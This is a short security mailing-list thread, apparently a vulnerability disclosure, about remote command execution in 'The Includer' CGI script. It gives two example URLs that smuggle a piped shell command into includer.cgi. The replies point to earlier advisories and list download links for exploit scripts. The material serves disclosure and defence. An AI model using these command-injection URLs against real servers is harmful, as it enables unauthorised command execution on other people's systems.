Remote Command Execution

[Francisco Alisson]

Remote Command Execution

Script: The Includer ( www.smarterscripts.com/includer/ )

Remote Command Execution on:

Example I.: www.host-vulnerable.com/includer.cgi?|id|
Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

Sorry if the bug is already posted

[BoI base]

Hi.

FA> Remote Command Execution

FA> Script: The Includer ( www.smarterscripts.com/includer/ )

FA> Remote Command Execution on:

FA> Example I.: www.host-vulnerable.com/includer.cgi?|id|
FA> Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

FA> Sorry if the bug is already posted
It was posted a long time ago. 8))

Also we know about vulnerabilities in Includer 1.1 and Executer 1.0
Advisories:
http://www.boiteam.net/?x=articles&id=8
http://www.boiteam.net/?x=articles&id=9
+ article 0x09 in CodePimps #6 (http://cp.boiteam.net)


--
Best regards, Xanders mailtoostbase@mail.ru

[BoI base]

FA> Remote Command Execution
FA> Script: The Includer ( www.smarterscripts.com/includer/ )
FA> Remote Command Execution on:
FA> Example I.: www.host-vulnerable.com/includer.cgi?|id|
FA> Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

cgi-"exploits" for SmarterScripts Stuff:
(placed on http://www.boiteam.net/?x=downloads)
inc10fg.cgi http://www.boiteam.net/?download=file&id=5
inc11pb.cgi http://www.boiteam.net/?download=file&id=6
inc11fg.cgi http://www.boiteam.net/?download=file&id=7
exec10fi.cgi http://www.boiteam.net/?download=file&id=8


--
Best regards, Xanders mailtoostbase@mail.ru